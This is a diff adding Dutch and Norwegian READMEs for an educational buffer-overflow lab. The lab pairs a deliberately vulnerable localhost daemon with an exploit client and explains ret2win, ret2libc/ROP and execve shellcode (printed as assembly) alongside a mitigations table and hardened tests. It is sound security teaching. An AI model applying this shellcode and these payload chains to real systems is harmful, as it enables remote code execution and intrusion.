16.2 | +| `objdump` | `fooc` | binutils. `fooc` roept het tijdens het draaien aan | +| `nasm` | `make verify` | alleen om de shellcode te verifiëren; wordt overgeslagen als het ontbreekt | +| `gdb` | `make debug` | optioneel | +| Linux, x86-64 | beide | payload en gadget-jacht zijn architectuurafhankelijk | + +`fooc` heeft ook `-ldl` nodig voor `dlsym()`; de Makefile regelt dat. + +--- + +## De bug + +Eén regel in `food.c` is het hele aanvalsoppervlak: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* tot 512 bytes van het netwerk */ +``` + +64 bytes bestemming, 512 bytes geaccepteerd. De aanvaller overschrijft 448 +bytes voorbij het einde van de buffer, en omdat de stack naar beneden groeit, +betekent "voorbij het einde" "in het frame erboven" — en daar liggen precies de +opgeslagen framepointer en de **opgeslagen retouradres**. + +In een gecompileerde x86-64-functie bij `-O0`: + +``` + hoge adressen + +------------------------+ rbp + 16 : locals van de aanroeper + | ... | + +------------------------+ rbp + 8 : OPGESLAGEN RETOURADRES <-- wordt RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : onze framepointer + | line[128] | + | buf[64] | <- rsp: wat read() vult + +------------------------+ + lage adressen +``` + +Wanneer de functie terugkeert, poppen `leave; ret` de 8 bytes in `RIP`, en de +CPU springt waar de aanvaller het heeft bepaald. Al het andere in dit lab is +rekenkunde over waarheen je moet wijzen. + +Voor deze build zijn de getallen: `buf` is 64 bytes, de opgeslagen `rbp` is 8, +dus het retouradres ligt op offset **88** vanaf het begin van `buf`. `fooc` +hardcoded dat niet — het disassembleert `food` en vindt `lea -0x50(%rbp)` +vóór `call read@plt`, zodat het blijft werken als je `FOOD_BUFSZ` verandert. + +> gcc vertelt je dit al. `food` bouwen print: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Onderdruk die waarschuwing nooit in +> echte code. Het is gratis beveiliging. + +--- + +## De drie technieken + +`fooc -t `. Ze staan in de volgorde waarin een echte aanvaller er +doorheen zou werken, omdat elke techniek nodig heeft wat de vorige je leerde. + +### 1. `ret2win` — bestuur de instructiepointer + +``` +[ 88 bytes rommel ][ het adres van food's win() ] + ^ saved rbp + ^ wordt RIP +``` + +`win()` is een functie in het doelprogramma die `/bin/sh` exec't. Het +overschrijven van het retouradres met haar adres is het hele exploit. + +**Wat het leert:** je hebt volledige controle over de instructiepointer. Het +heeft ook geen leak nodig, want het binaire bestand is gebouwd met `-no-pie`, +dus `win()` staat voor altijd op een vast adres. + +**De tegenhanger in de echte wereld** is niet "aanvallen zijn makkelijk", +maar "lever geen ongedocumenteerde backdoors in netwerk-binaries". Zit er een +functie als `win()` in jouw binaire bestand, dan zal een bufferoverloop haar +vinden. Dat is letterlijk de Juniper ScreenOS-backdoor-CVE-klasse. + +**Verdediging:** `-fPIE` (of ASLR) randomiseert het laadadres, dus de aanvaller +moet het adres kennen — wat meestal betekent dat ze eerst een lek nodig hebben. +Daarom faalt `ret2win` tegen `food_hardened`. + +### 2. `ret2libc` — roep om het even wat aan, bij naam + +``` +[ rommel ][ pop rdi; ret ][ adres van "/bin/sh" ][ adres van system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + zet rdi de string om te sturen de functie om aan te roepen +``` + +Bij uitvoering: `ret` poppt `pop rdi; ret` in RIP; dat poppt de +`"/bin/sh"`-pointer in `RDI`; zijn `ret` poppt `system()` in RIP, terwijl `RDI` +de string nog vasthoudt. `system("/bin/sh")` draait. + +Gadgets (`pop rdi; ret`) zitten niet in `food` — deze glibc heeft geen +`__libc_csu_init` — dus `fooc` vindt ze door live libc-geheugen te scannen op +het bytepaar `5f c3`. Het lokaliseert libc via `/proc/self/maps`, vindt de +offsets van `system` en `"/bin/sh"` met `dlsym()` en berekent de base uit het +lek dat `food` prijsgeeft. Niets is hardcoded, dus het overleeft een +libc-update. + +**Wat het leert:** zodra je RIP kunt controleren, kun je *bestaande* +instructies aan elkaar rijgen. Dat is return-oriented programming, en zo ziet +bijna elk echt exploit eruit, omdat het geen door de aanvaller geleverd +uitvoerbaar geheugen nodig heeft. + +**Verdediging:** geen van de compilerflags stopt dit alleen. Het werkt tegen +een PIE-binary, met NX, met canary — zolang de aanvaller een lek heeft. De +verdedigingen zijn "heb de overloop niet" en "lek geen adressen". Zie de tabel +hieronder. + +### 3. `shellcode` — voer je eigen machinecode uit + +23 bytes, geplaatst aan het begin van de buffer, met `RIP` ernaar wijzend: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 ruwe bytes +push rdi ; leg de string op de stack +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; we zijn nu een shell +``` + +Dit is de puurste vorm van de bug: de aanvaller levert de *instructies*, niet +alleen het adres van instructies die al bestaan. Geen libc-offsets nodig, dus +het werkt in principe tegen een statisch gelinkt, volledig gerandomiseerd +doelwit. + +`make verify` assembleert `shellcode.S` en diff't het tegen de byte-array die +in `fooc.c` is ingebed, zodat de twee niet uiteen kunnen drijven. + +**Verdediging:** **NX** (ook wel W^X, "no execute" genoemd). De stack als +niet-uitvoerbaar markeren zorgt ervoor dat de hardware weigert er instructies +uit te halen, en de `ret` landt op een pagina die niet kan draaien. Daarom +geeft `make food` `-z execstack`: een normale Linux-stack is `rw-p`, niet +`rwx`, en de techniek sterft met SIGSEGV bij `RIP = het adres van de payload`. +De allerbelangrijkste les van het lab is dat elk van deze bytes alleen werkt +omdat de compiler opdracht kreeg de stack uitvoerbaar te laten. Dat vlaggetje +staat aan voor niemands gewin. + +### Ook inbegrepen + +| Modus | Wat hij doet | +|---|---| +| `-t leak` | verbindt, print leaks, stuurt niets | +| `-t demo` | stuurt `rip_off + 8` bytes `0x41`, zodat `RIP` `0x4141...` wordt en de daemon sterft. Bewijst de bug zonder enige adreskennis | +| `-t sled` | een ret-sled, bewust bewaard als **fout** voorbeeld. Zonder lek zou je ASLR brute-forcen door de buffer te vullen met het adres van een `ret`. Dat kan hier niet werken: `food` accepteert 512 bytes, dus de sled heeft ~53 slots tegenover ~28 bits entropie. Zo geïmplementeerd dat je het kunt zien falen en kunt bevestigen dat het mechanisme echt "de CPU volgt een keten van rets" is | + +--- + +## De tabel met tegenmaatregelen + +Dit is het deel om te onthouden. Elke rij is een echte verdediging, en de +rechterkolom laat zien wat die daadwerkelijk met de gebeurtenisketen doet. + +| Tegenmaatregel | Zo activeer je | Wat hij stopt | Wat hij *niet* stopt | +|---|---|---|---| +| **Beperk read** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** De bug bestaat niet, dus niets stroomafwaarts doet ertoe | Niets — dit is de enige volledige fix | +| **Stack-canary** | `-fstack-protector-strong` (gcc-standaard) | De `ret`: de canary wordt aan het einde van de functie gecontroleerd, dus de beschadiging wordt gedetecteerd en het proces aborted vóórdat `RIP` wordt gepopt | Een bug in een functie *zonder* array (niets om te beschermen); een overloop die onder de canary blijft; alles wat niet normaal return't | +| **NX / W^X** | `-z noexecstack` (de standaard) | Shellcode. De eigen instructies van de payload kunnen niet worden opgehaald | ret2win en ret2libc volledig. Die zijn *de reden* dat ROP bestaat | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (beide standaard) | De hardcoded adressen van ret2win. Alles verschuift bij elke run | Alles waar de aanvaller een lek heeft. ASLR verhoogt de prijs van een exploit; het is geen fix. Merk op dat stack, heap en mmap worden gerandomiseerd, maar de *inhoud* van de hoofd-binary niet — dat is wat ROP-ketens gebruiken | +| **Lek niets** | geen `printf("%p")` naar clients; initialiseer vóór je print | Het informatielek dat ASLR van "duur" naar "gratis" verandert | — | +| **Gebruik geen `printf(user_data)`** | `printf("%s", buf)` in plaats van `printf(buf)` | Format-string-bugs: `%x`-stack-reads, `%n`-willekeurige schrijfbewerkingen — een *andere* weg naar RCE | — | +| **Gebruik geen onbetrouwbare paden** | valideer en `openat()` onder een vaste map | Pad-traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kernel- en CPU-ondersteuning | De `ret` zelf: de shadow stack onthoudt het *echte* retouradres en faalt bij een mismatch. Vangt ROP-ketens die hardware-`ret` gebruiken | Aanvallen die nooit `ret`-en (call-oriented, of het doel van een functiepointer overschrijven met een gadget-keten die geen retour nodig heeft) | +| **Veilige talen** | Rust, Go, C# voor nieuwe code | De hele klasse. Bounds-checks worden tijdens de uitvoering afgedwongen, niet vertrouwd bij review | — | + +### Zie het zelf + +```sh +make run # kwetsbare daemon +make test # alle drie de technieken werken + +make test-hardened # dezelfde broncode, tegenmaatregelen aan +``` + +`test-hardened` bouwt `food_hardened` met `-fstack-protector-strong -fPIE -pie +-z noexecstack`, wisselt hem in, draait alle drie opnieuw en legt daarna de +kwetsbare terug. Je ziet: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +En in de log van de geharde daemon, de canary die afgaat: + +``` +*** stack smashing detected ***: terminated +``` + +Lees dat goed, want het is de belangrijkste regel van het hele lab: **de canary +ving ret2win, niet PIE.** Alle drie de technieken sterven bij de canary, omdat +alle drie door dezelfde `read()` gaan en hetzelfde frame beschadigen. NX stopt +alleen nog de *code* van de shellcode; PIE breekt alleen nog het hardcoded +adres. Zet ze één voor één aan, en je ontdekt dat de meeste enkele +tegenmaatregelen je ergens kwetsbaar achterlaten. + +--- + +## Bestanden + +| Bestand | Doel | +|---|---| +| `food.c` | de kwetsbare daemon. 6 genummerde bugs, elk met zijn fix in de commentaar | +| `fooc.c` | het exploit. objdump-gebaseerde offenderkenning, `/proc`-gebaseerde libc-herkenning, 4 payload-bouwers | +| `shellcode.S` | de 23 shellcode-bytes als assembly, zodat ze leesbaar en verifieerbaar zijn. `fooc` draagt ze inline en heeft dit tijdens het draaien niet nodig | +| `Makefile` | bouwt, test en de harde vergelijking | +| `tests/pty_test.c` | drijft `fooc` door een pseudo-terminal en controleert op echte shell-output | +| `tests/sock_test.c` | onafhankelijke verificateur over een rauwe socket, zodat het resultaat niet van `fooc` afhangt | +| `food.log` | de log van de daemon. Jouw bewijs van wat er gebeurde | + +--- + +## Twee bugs in dit lab die de moeite van het begrijpen waard zijn + +Dit zijn niet de bugs van het doelprogramma. Het zijn bugs in het exploit en in +zijn test-harness, en beide produceerden overtuigende leugens. Ze zijn +gedocumenteerd in de bron waar ze wonen; hier staan ze omdat de faalpatronen +leerzaam zijn. + +### Stack-uitlijning: de crash die geen NULL-dereferentie is + +**Symptoom.** De overname landt correct — `gdb` laat je in `win()` zien — en +dan sterft het allereerste wat `win()` doet, een `dprintf()`. De +SIGSEGV-handler rapporteert `RIP` diep in glibc's formatter en een foutadres +van `(nil)`, wat er precies uitziet als een corrupte pointer. + +**Oorzaak.** De System V AMD64-ABI vereist 16-byte stack-uitlijning. Een +normale `ret` herstelt `%rsp` precies zoals de bijbehorende `call` het +opsloeg, dus de invariant blijft gratis behouden. Onze kale `ret` doet dat +niet: daarna geldt `%rsp = buf + rip_off`. Hier is `buf` 16-byte uitgelijnd en +is `rip_off` 88, dus de callee krijgt een stack die 8 mod 16 is. glibc is met +SSE2 gecompileerd, en `movaps` **faalt** op een verkeerd uitgelijnde operand. +Op x86 werpt dat `#GP` op, niet `#PF`, dus de kernel heeft geen foutadres en +rapporteert `si_addr = 0`. Die NULL is de hint: een uitlijnfout vermomd als +NULL-dereferentie. + +**Fix.** Eén `ret`-gadget *op offset `rip_off`*, dat het echte doelwit 8 bytes +omhoog schuift, omdat elke `ret` precies 8 bij `%rsp` optelt. De volgorde is +kritiek: een eerdere versie plakte de `ret` *achter* het doelwit en produceerde +`[ padding | target | ret ]`, waarbij de afsluitende `ret` nooit wordt bereikt +en de fix stilletjes niets doet. Een verdwaalde `ret` die op een bug lijkt, is +bijna altijd bewust. + +### Eén socket, twee lezers: de byte die verdween + +**Symptoom.** Shellcode werd gerapporteerd als werkend. Toen werd de +pty-harness strenger gemaakt (`ECHO` uitzetten, zodat de terminal ophield de +eigen commandoregel van de harness naar zichzelf terug te echoën), en de +techniek begon te falen. Dieper ging elke techniek precies één byte van het +begin van elke uitvoer-chunk kwijt: `uid=1000(hanez)` werd geprint als +`id=1000(hanez)`, `PWNED-OK` als `WNED-OK`, `Linux 7.2.7` als `inux 7.2.7`. + +**Oorzaak.** `fooc` deed vroeger de socket `dup2()`en naar zijn eigen +stdin/stdout en een *lokale* `/bin/sh` `execv()`en, terwijl een geforkt +relay-kind dezelfde socket ook las om output naar de terminal te verplaatsen. +De kernel kan het niets schelen dat die twee samenwerken. Een streamsocket heeft +**één** lees-cursor, en elke lezer verplaatst hem, dus bytes worden +onvoorspelbaar tussen hen verdeeld. De lokale shell — een interactieve +login-shell — las precies één byte en gooide het weg, elke keer weer. +`strace -f` liet het onmiddellijk zien: + +``` +read(0, "u", 1) <- de lokale shell, eet een byte op +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- het relay, 1 byte te kort +``` + +**Fix.** Er is hier helemaal geen shell aan deze kant. Er is precies één shell +in het hele plaatje, en die zit op het slachtoffer, in het gekaapte proces, +met de TCP-verbinding als zijn stdin/stdout. Deze kant verplaatst alleen bytes. +Als je ooit twee consumenten van een stream nodig hebt, heeft die stream één +enkele lezer nodig die hem bewust demultiplext. + +**De meta-les.** Het eerste "werkende" resultaat was een fout-positief, +geproduceerd doordat de pty de eigen commandoregel van de harness terug naar +zichzelf echoëde, en de fix voor dat fout-positief is wat de echte bug +onthulde. Tests die niet kunnen falen, zijn erger dan geen tests, omdat ze "ik +weet het niet" veranderen in "het werkt". Een test-harness verdient hetzelfde +wantrouwen als de code die hij test. + +--- + +## Ermee spelen + +Dingen die de moeite waard zijn om te proberen, ongeveer in de volgorde waarin +je er het meest van leert: + +1. **Verander `FOOD_BUFSZ` naar 128.** Draai `fooc` opnieuw. Het zou nog + steeds moeten werken zonder wijzigingen, omdat het de offset uit de + disassembly leest. Breek het dan met de hand — hardcode 88 — en zie het + crashen. Voeg daarna een tweede array toe tussen `buf` en de opgeslagen + registers, en zie hoe de automatische herkenning het afhandelt. + +2. **Voeg `-Wformat-security` toe en kijk wat het format-string-pad doet.** + Stuur `%p %p %p %n` en zie `food` de stack lekken. + +3. **Gebruik gdb.** `make debug`, daarna: + ```gdb + (gdb) break food.c:393 # de read() die overloopt + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # merk op waar het retouradres ligt + (gdb) c # in een andere terminal: ./fooc -t ret2win + ``` + De SIGSEGV-handler logt `REG_RIP` en `REG_RSP`, dus `food.log` vertelt je of + de overname geland is, zelfs wanneer het kind sterft vóór je kunt aanhaken. + +4. **Verwijder de uitlijnfix** in `fooc.c` en zie de `#GP`-fout met de + `si_addr = 0`-handtekening. Lees dan `/proc/sys/kernel/randomize_va_space` + en denk na over wat ASLR randomiseert en wat niet. + +5. **Breek de libc-symbolresolutie** en zie hoe `fooc` zich aanpast. Het hele + punt van de `/proc/self/maps`-benadering is dat geen enkele offset + hardcoded is. + +6. **Schrijf een vierde techniek.** Een `ret2csu`-achtige keten als je + `__libc_csu_init` kunt vinden, of een SROP-keten (`sigreturn`-frames laten + je alle registers tegelijk controleren). Beide zijn puur ROP en hebben geen + uitvoerbaar geheugen nodig. + +7. **Fix `food.c` goed**, één bug tegelijk, en draai het exploit opnieuw na + elke fix. De volgorde in de tabel bovenaan `food.c` is ongeveer de juiste om + in te denken: beperk eerst de read, want niets anders doet ertoe voordat de + bug weg is. + +--- + +## Opruiming + +```sh +make stop # stopt food +make clean # verwijdert bouwproducten; laat food.log met rust +pkill -x sh # alleen als je losse shells hebt van een test die misging +``` + +Merk op: `pkill -x food` matcht de proces**naam** precies. Gebruik geen +`pkill -f ./food` — dat patroon matcht ook de shell waarin je het typt en doodt +je eigen sessie. Dat is geen hypothese; het gebeurde terwijl dit lab werd +gebouwd. \ No newline at end of file diff --git a/README.NO.md b/README.NO.md new file mode 100644 index 0000000..c34d14b --- /dev/null +++ b/README.NO.md @@ -0,0 +1,415 @@ +# food / fooc — et stack-bufferoverløp, fra begge sider + +Et C99-sikkerhetslaboratorium i to halvdeler: + +- **`food.c`** — en bevisst sårbar TCP-daemon. Den har et ekte, + lærebokaktig stack-bufferoverløp (CWE-120), og noen flere feil i tillegg. +- **`fooc.c`** — et exploit for det. Det beregner overflow-offsetet ved å + disassemblere målprogrammet under kjøring, leser adresse-leaks fra daemonen, + og får en shell på "offeret" ved å overskrive en lagret returadresse. + +Poenget er ikke shellen. Poenget er at du kan følge med fra ende til annen +hvordan en minnesikkerhetsfeil blir til vilkårlig kodeutførelse — og deretter +se nøyaktig hvilke mottiltak som stopper hvert trinn i den kjeden. Hver linje i +begge programmene er kommentert, fordi mekanismen er leksjonen. + +``` + terminalen din + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (sårbar daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> koden din +``` + +--- + +## ⚠️ Les dette først + +**`food` er en bevisst ødelagt nettverkstjeneste. Den binder bare til +`127.0.0.1`, og den standarden er bevisst — la den være der.** + +- Kjør den **ikke** på en maskin du bryr deg om, eller på noe med data på. +- Bind den **ikke** til `0.0.0.0` eller en ekte nettverksgrensesnitt. Den er + bevisst eksternt utnyttbar. +- Å peke `fooc` mot en vert du ikke eier eller ikke har skriftlig tillatelse + til å teste, er en datainnbruddsforseelse i de fleste jurisdiksjoner — også + etter UK Computer Misuse Act og US Computer Fraud and Abuse Act. +- Den binder til en uprivilegert port (>1024), så du trenger ikke root. Ikke + "forbedre" den ved å legge til capabilities eller kjøre den som + systemtjeneste. +- Hver tilkobling håndteres i et `fork()`et barn, og `food` reaper det, så + krasj hoper seg ikke opp. Hvis du etterpå finner dusinvis av løse + `sh`-prosesser, er `pkill -x sh` oppryddingen. + +I tvilstilfeller: Dette laboratoriet er for en virtuell maskin eller en +container, på et nettverk du kontrollerer, på en maskin uten noe du ville +savnet. + +--- + +## Rask start + +```sh +make # bygger food, fooc og test-harnessene +make run # starter food på 127.0.0.1:2342, løsrevet i bakgrunnen +make test # kjører alle tre exploit-teknikkene +make stop # stopper daemonen +``` + +Deretter for hånd: + +```sh +./fooc -t leak # se adresse-leaksene food gir fra seg +./fooc -t demo -v # send søppel; se food dø med SIGSEGV +./fooc -t ret2win -i # hopp til en funksjon som allerede finnes -> shell +``` + +### Krav + +| Verktøy | Til hva | Merknader | +|---|---|---| +| `gcc` (eller clang) | bygging | C99. Testet med gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` kaller det under kjøring | +| `nasm` | `make verify` | bare for å kryssjekke shellcoden; hoppes over hvis det mangler | +| `gdb` | `make debug` | valgfritt | +| Linux, x86-64 | begge | payload og gadget-jakt er arkitekturavhengige | + +`fooc` trenger også `-ldl` for `dlsym()`; Makefile-et ordner det. + +--- + +## Feilen + +Én linje i `food.c` er hele angrepsflaten: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* opptil 512 bytes fra nettverket */ +``` + +64 bytes destinasjon, 512 bytes akseptert. Angriperen overskriver 448 bytes +forbi slutten av bufferen, og fordi stacken vokser nedover, betyr "forbi +slutten" "inn i rammen over" — og det er akkurat der den lagrede +rammepekeren og den **lagrede returadressen** ligger. + +I en kompilert x86-64-funksjon ved `-O0`: + +``` + høye adresser + +------------------------+ rbp + 16 : kallers lokale + | ... | + +------------------------+ rbp + 8 : LAGRET RETURADRESSE <-- blir til RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : vår rammepeker + | line[128] | + | buf[64] | <- rsp: det read() fyller + +------------------------+ + lave adresser +``` + +Når funksjonen returnerer, popper `leave; ret` de 8 bytene inn i `RIP`, og +CPU-en hopper dit angriperen har valgt. Alt annet i dette laboratoriet er +aritmetikk om hvorhen man skal peke. + +For denne builden er tallene: `buf` er 64 bytes, det lagrede `rbp` er 8, så +returadressen ligger på offset **88** fra starten av `buf`. `fooc` hardkoder +ikke det — det disassemblerer `food` og finner `lea -0x50(%rbp)` foran +`call read@plt`, så det fortsatt virker hvis du endrer `FOOD_BUFSZ`. + +> gcc forteller deg allerede om dette. Å bygge `food` skriver ut: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Aldri undertrykk den advarselen i ekte +> kode. Den er gratis sikkerhet. + +--- + +## De tre teknikkene + +`fooc -t `. De står i den rekkefølgen en ekte angriper ville +arbeidet seg gjennom dem, fordi hver enkelt trenger det den forrige lærte deg. + +### 1. `ret2win` — kontroller instruksjonspekeren + +``` +[ 88 bytes søppel ][ adressen til food's win() ] + ^ saved rbp + ^ blir til RIP +``` + +`win()` er en funksjon i målprogrammet som exec'er `/bin/sh`. Å overskrive +returadressen med dens adresse er hele exploitet. + +**Hva det lærer:** du har vilkårlig kontroll over instruksjonspekeren. Det +trenger heller ikke noe leak, fordi binærfilen er bygget `-no-pie`, så `win()` +sitter på en fast adresse for alltid. + +**Den virkelige verdens ekvivalent** er ikke "angrep er enkle", men "ikke +send ut udokumenterte bakdører i nettverks-binærfiler". Hvis en funksjon som +`win()` finnes i binærfilen din, vil et bufferoverløp finne den. Det er +bokstavelig talt Juniper ScreenOS-bakdør-CVE-klassen. + +**Forsvar:** `-fPIE` (eller ASLR) randomiserer lasteadressen, så angriperen må +kjenne adressen — noe som vanligvis betyr at de først trenger et leak. Derfor +feiler `ret2win` mot `food_hardened`. + +### 2. `ret2libc` — kall hva som helst, ved navn + +``` +[ søppel ][ pop rdi; ret ][ adressen til "/bin/sh" ][ adressen til system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + setter rdi strengen å sende funksjonen å kalle +``` + +Ved utførelse: `ret` popper `pop rdi; ret` inn i RIP; det popper +`"/bin/sh"`-pekeren inn i `RDI`; dets `ret` popper `system()` inn i RIP, mens +`RDI` fortsatt holder strengen. `system("/bin/sh")` kjører. + +Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc-en har ikke noe +`__libc_csu_init` — så `fooc` finner dem ved å skanne live libc-minne etter +byte-paret `5f c3`. Den lokaliserer libc via `/proc/self/maps`, finner +offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen fra +leaket `food` publiserer. Ingenting er hardkodet, så det overlever en +libc-oppdatering. + +**Hva det lærer:** når du først kan kontrollere `RIP`, kan du kjede sammen +*eksisterende* instruksjoner. Dette er return-oriented programming, og det er +slik nesten alle ekte exploits ser ut, fordi det ikke krever +angriperlevert kjørbart minne. + +**Forsvar:** ingen av kompilator-flagene stopper dette alene. Det virker mot +en PIE-binærfil, med NX, med canary — så lenge angriperen har et leak. +Forsvarene er "ikke ha overløpet" og "ikke lek adresser." Se tabellen nedenfor. + +### 3. `shellcode` — kjør din egen maskinkode + +23 bytes, plassert ved starten av bufferen, med `RIP` pekende på dem: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes +push rdi ; legg strengen på stacken +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; vi er nå en shell +``` + +Dette er den reneste formen for feilen: angriperen leverer *instruksjonene*, +ikke bare adressen til instruksjoner som allerede finnes. Ingen libc-offsets +nødvendig, så det virker i prinsippet mot et statisk linket, fullt +randomisert mål. + +`make verify` assemblerer `shellcode.S` og diff'er det mot byte-arrayet +innebygd i `fooc.c`, så de to ikke kan drive fra hverandre. + +**Forsvar:** **NX** (også kalt W^X, "no execute"). Å markere stacken som +ikke-kjørbar gjør at maskinvaren nekter å hente instruksjoner fra den, og +`ret`-et lander på en side som ikke kan kjøres. Det er derfor `make food` +sender `-z execstack`: en vanlig Linux-stack er `rw-p`, ikke `rwx`, og +teknikken dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolutt +viktigste leksjonen i laboratoriet er at hver eneste av disse bytene bare +virker fordi kompilatoren fikk beskjed om å la stacken være kjørbar. Det +flagget er på til gagn for ingen. + +### Også inkludert + +| Modus | Hva den gjør | +|---|---| +| `-t leak` | kobler til, skriver ut leaks, sender ingenting | +| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` blir `0x4141...` og daemonen dør. Beviser feilen helt uten adressekunnskap | +| `-t sled` | et ret-sled, bevisst beholdt som et **feilende** eksempel. Uten et leak ville du brute-force ASLR ved å fylle bufferen med adressen til et `ret`. Det kan ikke virke her: `food` aksepterer 512 bytes, så sleden har ~53 slots mot ~28 bits entropi. Implementert så du kan se det feile og bekrefte at mekanismen virkelig er "CPU-en følger en kjede av rets" | + +--- + +## Mottiltak-tabellen + +Dette er delen å huske. Hver rad er et ekte forsvar, og høyre kolonne viser hva +den faktisk gjør med hendelseskjeden. + +| Mottiltak | Slik aktiverer du | Hva den stopper | Hva den *ikke* stopper | +|---|---|---|---| +| **Begrens read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Feilen finnes ikke, så ingenting nedstrøms betyr noe | Ingenting — dette er den eneste fullstendige fixen | +| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen sjekkes ved funksjonsavslutningen, så smadringen oppdages og prosessen aborter før `RIP` poppes | En feil i en funksjon *uten* array (ingenting å beskytte); et overløp som holder seg under canaryen; alt som ikke returnerer normalt | +| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruksjoner kan ikke hentes | ret2win og ret2libc fullstendig. Disse er *grunnen* til at ROP finnes | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter seg ved hver kjøring | Alt der angriperen har et leak. ASLR hever prisen på et exploit; det er ikke en fix. Merk at stack, heap og mmap randomiseres, men hoved-binærfilens *innhold* gjør det ikke — det er det ROP-kjeder bruker | +| **Ikke lek** | ingen `printf("%p")` til klienter; initialiser før du skriver ut | Informasjonsleaket som gjør ASLR fra "dyrt" til "gratis" | — | +| **Ikke bruk `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-streng-feil: `%x`-stack-reads, `%n`-vilkårlige skrivninger, som er en *annen* vei til RCE | — | +| **Ikke bruk upålitelige stier** | valider og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kjernens og CPU-ens støtte | `ret`-et selv: shadow stacken husker den *ekte* returadressen og feiler ved mismatch. Fanger ROP-kjeder som bruker maskinvare-`ret` | Angrep som aldri `ret`-er (call-oriented, eller å overskrive en funksjonspekermål med en gadget-kjede som ikke trenger retur) | +| **Sikre språk** | Rust, Go, C# for ny kode | Hele klassen. Bounds-sjekker utføres ved kjøring, ikke håpet på ved review | — | + +### Se det selv + +```sh +make run # sårbar daemon +make test # alle tre teknikkene virker + +make test-hardened # samme kildekode, mottiltak på +``` + +`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie +-z noexecstack`, bytter den inn, kjører alle tre igjen og legger så den +sårbare tilbake. Du vil se: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Og i den hardnede daemonens logg, canaryen som utløses: + +``` +*** stack smashing detected ***: terminated +``` + +Les det nøye, for det er den viktigste linjen i hele laboratoriet: **canaryen +fanget ret2win, ikke PIE.** Alle tre teknikkene dør ved canaryen, fordi alle +tre går gjennom det samme `read()` og ødelegger den samme rammen. NX stopper +bare i tillegg shellcodens *kode*; PIE bryter bare i tillegg den hardkodede +adressen. Slå dem på enkeltvis, og du vil oppdage at de fleste enkeltstående +mottiltak etterlater deg utsatt for noe. + +--- + +## Filer + +| Fil | Formål | +|---|---| +| `food.c` | den sårbare daemonen. 6 nummererte feil, hver med sin fix i kommentaren | +| `fooc.c` | exploitet. objdump-basert offset-oppdagelse, `/proc`-basert libc-oppdagelse, 4 payload-byggere | +| `shellcode.S` | de 23 shellcode-bytende som assembly, så de kan leses og verifiseres. `fooc` bærer dem inline og trenger ikke dette ved kjøring | +| `Makefile` | bygger, tester og den hardnede sammenligningen | +| `tests/pty_test.c` | driver `fooc` gjennom et pseudo-terminal og sjekker for ekte shell-output | +| `tests/sock_test.c` | uavhengig verifikator over en rå socket, så resultatet ikke avhenger av `fooc` | +| `food.log` | daemonens logg. Beviset ditt på hva som skjedde | + +--- + +## To feil i dette laboratoriet som er verdt å forstå + +Dette er ikke målprogrammets feil. Det er feil i exploitet og i dets +test-harness, og begge produserte overbevisende løgner. De er dokumentert i +kilden der de bor; her står de fordi sviktmønstrene er lærerike. + +### Stack-justering: krasjet som ikke er en NULL-dereferanse + +**Symptom.** Kapringen lander korrekt — `gdb` viser deg i `win()` — og så dør +det aller første `win()` gjør, en `dprintf()`. `SIGSEGV`-handleren rapporterer +`RIP` dypt inne i glibcs formatter og en feiladresse på `(nil)`, noe som ser +nøyaktig ut som en korrupt peker. + +**Årsak.** System V AMD64-ABI-en krever 16-byte stack-justering. Et normalt +`ret` gjenoppretter `%rsp` til nøyaktig det det matchende `call` lagret, så +invarianten bevares gratis. Vårt nakne `ret` gjør ikke det: etter det gjelder +`%rsp = buf + rip_off`. Her er `buf` 16-byte justert og `rip_off` er 88, så +callee-en får en stack som er 8 mod 16. glibc er kompilert med SSE2, og +`movaps` **feiler** på et feiljustert operand. På x86 reiser det `#GP`, ikke +`#PF`, 